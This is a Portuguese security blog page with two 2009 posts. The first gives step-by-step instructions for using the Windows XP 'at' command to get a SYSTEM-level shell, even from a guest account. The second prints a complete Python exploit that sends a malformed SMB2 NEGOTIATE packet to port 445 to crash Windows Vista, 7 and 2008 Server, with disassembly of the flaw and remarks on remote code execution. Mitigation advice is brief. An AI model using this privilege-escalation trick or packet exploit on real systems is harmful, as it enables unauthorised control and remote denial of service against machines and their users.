Mostrando postagens com marcador Segurança. Mostrar todas as postagens
Mostrando postagens com marcador Segurança. Mostrar todas as postagens

terça-feira, 20 de outubro de 2009

Windows XP System Level Privilege Escalation

Escalação de privilégio é o ato de explorar um bug ou falha de projeto em um software para obter acesso aos recursos que normalmente teria sido protegido de uma aplicação ou usuário. O resultado é que a aplicação executa ações com mais privilégios do que o pretendido pelo desenvolvedor do aplicativo ou o administrador do sistema.

Usando um simples comando em uma maquina rodando Windows XP é possível rodar qualquer processo com o usuário system. O nível do usuário system é maior que o do usuário administrador, e possui controle total do sistema operacional e do kernel. Você pode usar a conta guest para exploitar o sistema.

O usuário Local System (system) é diferente do usuário administrador, porque possui controle total sobre o sistema operacional, similar ao root nos sistemas *nix. Muitos processos do sistema operacional roda com o usuário system, e não pode ser fechado pelo usuário administrador, se tentar finalizar o processo como administrador, o resultado será uma mensagem de erro.

Mãos a obra:
No Windows XP clique em Iniciar/Executar, digite cmd.exe e clique em ok, será aberta uma janela do prompt de comando:




Utilize o comando at para agendar uma nova tarefa:

at 12:13 /interactive "cmd.exe"



OBS: substitua o horário (12:13) para hora atual + 1 minuto, para a tarefa ser executada no maximo após um minuto.

Caso queira visualizar as tarefas agendadas com o comando at, digite at no prompt:





No horário agendado será aberto um novo prompt de comando (OBS: este novo prompt já é com usuário system) todos os processos iniciados apartir dele será executado como usuário system




Somente para ilustração executei o comando calc (Calculadora do Windows) observe no gerenciador de tarefas que o processo calc.exe esta sendo executado como usuário system




Agora use a sua imaginação e faça o que quiser, por exemplo finalize o processo explorer.exe (processo do Desktop) e no prompt de comando digite explorer, será aberta uma nova área de trabalho com o usuário system, tudo que for aberto apartir dela será executado como system...

be happy... ;)

terça-feira, 8 de setembro de 2009

Windows Vista, 7 e 2008 Server : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

B.S.O.D. - Blue Screen of Death (Tela Azul da Morte) é uma tela apresentado nos sistemas operacionais Windows em caso de erro grave de sistema.

SMB - Server Message Block funciona como um aplicativo de nível rede, utilizado principalmente para o acesso aos arquivos compartilhados, impressoras, portas seriais, e diversas comunicações entre pontos em uma rede. Ela também fornece um mecanismo de autenticação Inter-Process Communication. A maioria dos usos de SMB envolve computadores que executam os sistemas operacionais Windows em ambientes de rede.

Hoje acordamos com um aviso publicado por Laurent Gaffie onde uma possivel falha nos drivers SMB v2.0 (utilizados nos sistemas Windows Vista, 7 e 2008 Server) poderia causar um B.S.O.D.

A Falha:

Para estabelecer uma comunicação, o cliente envia uma menssagem para o servidor, chamada de NEGOTIATE PROTOCOL REQUEST, esta menssagem é utilizada para identificar o dialeto utilizado para futuras comunicações.
Quando o driver SRV2.SYS recebe uma string mal formada no momento do NPR ele falha, causando um B.S.O.D.

O Código para exploração:

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket

from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Para quem utiliza o Metasploit, também já existe disponivel um módulo para exploração desta falha

Utilizando engenharia reversa, podemos analisar o codigo e ver como a falha acontece - Módulo: Srv2.sys :

Code (asm)
; int __stdcall Smb2ValidateProviderCallback(PVOID DestinationBuffer)
_Smb2ValidateProviderCallback@4 proc near


.text:000156B3 loc_156B3:                              ; CODE XREF: Smb2ValidateProviderCallback(x)+4D5j
.text:000156B3                                         ; Smb2ValidateProviderCallback(x)+4DEj
.text:000156B3                 movzx   eax, word ptr [esi+0Ch]; packet->SBM_Header->Process_ID_High
.text:000156B7                 mov     eax, _ValidateRoutines[eax*4]; FALLO - out-of-bounds dereference.
.text:000156BE                 test    eax, eax
.text:000156C0                 jnz     short loc_156C9
.text:000156C2                 mov     eax, 0C0000002h
.text:000156C7                 jmp     short loc_156CC
.text:000156C9 ; —————————————————————————
.text:000156C9
.text:000156C9 loc_156C9:  ; CODE XREF: Smb2ValidateProviderCallback(x)+4F3j
.text:000156C9                 push    ebx
.text:000156CA                 call    eax ; Smb2ValidateNegotiate(x) ; Smb2ValidateNegotiate(x) - KABOOOM!!
 













Como você pode ver, [esi +0 xc] aponta para o nosso pacote, exatamente para o campo de cabeçalho ProcessIDHigh cujo tamanho é de 16 bits. Podemos controlar inteiramente este valor. Mais tarde, esse valor é usado como índice para um ponteiro de função dentro do _ValidateRoutines tabela de funções. Bug Classico ! o código não está verificando o tamanho da tabela antes da referência ao ponteiro de função. Esta é a razão pela qual esta é uma vulnerabilidade de execução remota de código e não apenas uma negação de serviço. E esta é a razão pela qual, a exploração pode ou não travar a máquina. Se a página apontada pelo índice é inválido o sistema irá BSOD caso contrário ele pode falhar em outro ponto ou simplesmente não a falhar.

Como se proteger:

Ainda não há uma correção disponivel pela Microsoft, portanto, podemos filtrar o acesso ao protocolo TCP na porta 445 com um firewall, ou desabilitar o protocolo SMB2

Sistemas afetados:

Windows Vista, Windows 7 e Windows 2008 Server

Assim que tiver mais detalhes sobre esta falha... atualizarei o post ! :D
OBS: quem conseguir controlar esse ponteiro na hora do estouro da pilha num vai prestar !!! kkk pode apontar para execuçao de qualquer programa na memória, e já que a falha não necessita autenticação... Oo ;)

Referencias:

http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.reversemode.com/index.php?option=com_content&task=view&id=64&Itemid=1
http://blogs.technet.com/askperf/archive/2008/05/30/two-minute-drill-overview-of-smb-2-0.aspx

Imagem do B.S.O.D.:




Updated: [09/10/2009 - 11:10 a.m.]

Microsoft Security Advisory (975497) Vulnerabilities in SMB Could Allow Remote Code Execution
US-CERT - Microsoft Releases Security Advisory 975497